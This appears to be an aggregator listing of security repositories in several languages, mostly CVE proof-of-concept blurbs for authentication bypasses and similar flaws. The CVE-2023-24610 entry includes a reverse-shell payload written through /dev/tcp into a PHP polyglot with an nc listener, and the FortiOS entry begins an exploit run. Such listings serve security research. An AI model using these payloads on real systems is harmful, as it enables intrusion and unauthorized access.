CVE-2024-41958-PoC

CVE-2024-41958-PoC Questa è una piccola prova di concetto per CVE-2024-41958. È possibile bypassare l'autenticazione TFA nel pannello di amministrazione. Versioni interessate: 2024-07 Prerequisiti necessari affinché la CVE funzioni: Password e username per un account senza TFA. Password e usernam...

CVE-2026-46645-Analysis-Lab

CVE-2026-46645 - SQLAdmin ajaxlookup: bypass dell'autorizzazione Riepilogo esecutivo Questo repository contiene un laboratorio Docker locale per riprodurre la CVE-2026-46645, una vulnerabilità di bypass dell'autorizzazione che interessa l'endpoint ajaxlookup di SQLAdmin. SQLAdmin è un'interfaccia...

CVE-2026-33146

CVE-2026-33146 Una condivisione pubblica sembrava pulita nell'albero delle pagine, ma l'endpoint di ricerca raccontava un'altra storia. In Docmost, le pagine figlie con restrizioni nascoste ai visitatori della condivisione pubblica potevano comunque trapelare attraverso i risultati di ricerca del...

cve-2023-42824

cve-2023-42824 COW-Umgehung Doppellesen?...

CVE-2025-29927-Testing

Script di test per CVE-2025-29927 fornito da CyberMaxx. Strumento di test per CVE-2025-29927 Questo script PowerShell è progettato per aiutare ricercatori di sicurezza e amministratori di sistema a testare le vulnerabilità CVE-2025-29927 nelle applicazioni Next.js. Verifica se un'applicazione...

CVE-2023-24610

CVE-2023-24610 Questa è una prova di concetto per CVE-2023-24610 Iniziamo creando un file poliglotta usando exiftool: exiftool -Comment="/dev/tcp/172.17.0.1/8888 " avatar.png -o polyglot.php Cambiamo il file in png in modo che superi il controllo del front-end Dopo di che, avviamo un listener nc...

CVE-2023-22432

CVE-2023-22432 Verifica del PoC della vulnerabilità di web2py CVE-2023-22432 Una vulnerabilità CVE-2023-22432 in web2py è stata divulgata il 31 gennaio 2023 ora USA. Questo articolo descrive la nostra analisi di questa vulnerabilità e i risultati della nostra verifica. Riepilogo della vulnerabili...

CVE-2024-3640_WafBypass

CVE-2024-3640 WafBypass exploit del plugin woodpacker Il metodo di bypass consiste essenzialmente nell'inserire commenti XML per eludere le parole chiave. Rilevamento del ritardo Esecuzione comando con riscontro Memory shell personalizzato...

CVE-2020-35391-POC

Willkommen zu CVE-2020-35391-POC 👋 Tenda N300 Authentifizierungsumgehung durch fehlerhaften HTTP-Request-Header Python POC Tenda N300 F3 12.01.01.48 Geräte erlauben entfernten Angreifern, sensible Informationen möglicherweise einschließlich einer httppasswd-Zeile durch eine direkte Anfrage nach...

CVE-2017-6640-POC

CVE-2017-6640-POC Prova di concetto per CVE-2017-6640 come estensione Burp Cisco Prime Data Center Network Manager DCNM implementa credenziali statiche. Vedere anche: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170607-dcnm2 Più specificamente, l'interfaccia We...

fortios-auth-bypass-exploit-CVE-2024-55591

CVE-2024-55591 Ein Exploit für die Fortinet-FortiOS-Authentifizierungs-Bypass-Sicherheitslücke Beschreibung Mit diesem Exploit können Sie die Authentifizierung umgehen und Befehle ausführen Verwendung root@kitploit: sysirq@sysirq-machine:/Work/Fortinet/FortiGate7016/CVE-2024-55591$ python3 exp.py...

CVE-2000-0979

CVE-2000-0979 CVE-2000-0979.rb è lo strumento autonomo per sfruttare la CVE-2000-0979 contro il servizio SMB di Windows 95. msf20000979.rb è il modulo Metasploit. Puoi copiarlo in ⁨metasploit-framework⁩ ▸ ⁨modules⁩ ▸ ⁨auxiliary⁩ ▸ scanner⁩ ▸ ⁨smb⁩ Ulteriore documentazione in arrivo! Avviso...

CVE-2025-53770-Scanner

CVE-2025-53770 Scanner von DanSec Ein einfaches, effektives Aufklärungstool zur Identifizierung potenzieller Gefährdung durch die kritische SharePoint-Sicherheitslücke CVE-2025-53770. !Warning Dieses Tool ist ausschließlich für autorisierte Testzwecke bestimmt. Der Autor DanSec übernimmt keinerle...

CVE-2022-1040

CVE-2022-1040 : Sophos XG115w Firewall 17.0.10 MR-10 - Bypass dell'autenticazione Questa vulnerabilità consente a un attaccante di ottenere accesso non autorizzato allo spazio di gestione del firewall bypassando l'autenticazione. ☕️ Live : ....... aggiornato...

CVE-2019-14974-bypass

Questo repository non contiene un README...

RunasCs

RunasCs RunasCs é um utilitário para executar processos específicos com permissões diferentes das fornecidas pelo logon atual do usuário, usando credenciais explícitas. Esta ferramenta é uma versão melhorada e aberta do runas.exe nativo do Windows que resolve algumas limitações: Permite credencia...

CVE-2026-77704

The Booking for Appointments and Events Calendar WordPress plugin before 2.4.9 does not check that a user holds the required capability before letting them change an appointment's status, allowing customers to set arbitrary statuses on appointments they are booked on, including approving their ow...

CVE-2026-77010

The HEL Online Classroom: AI-powered Online Classrooms WordPress plugin through 1.0.3 does not perform authorisation checks on its REST API routes and does not consistently enforce the per-class access code, allowing unauthenticated users to obtain a signed meeting join link for any classroom,...

CVE-2026-18234

The MStore API WordPress plugin before 4.21.1 does not verify that the order targeted by its wallet payment handling belongs to the requester, and does not deduct the wallet balance for most payment methods, allowing any authenticated user, including Subscribers, to mark arbitrary orders as paid...

MobileApp-Pentest-Cheatsheet

Folha de Referência para Testes de Penetração em Aplicações Móveis A folha de referência de pentest de aplicativos móveis foi criada para fornecer uma coleção concisa de informações de alto valor sobre tópicos específicos de testes de penetração em aplicações móveis, bem como um checklist, mapead...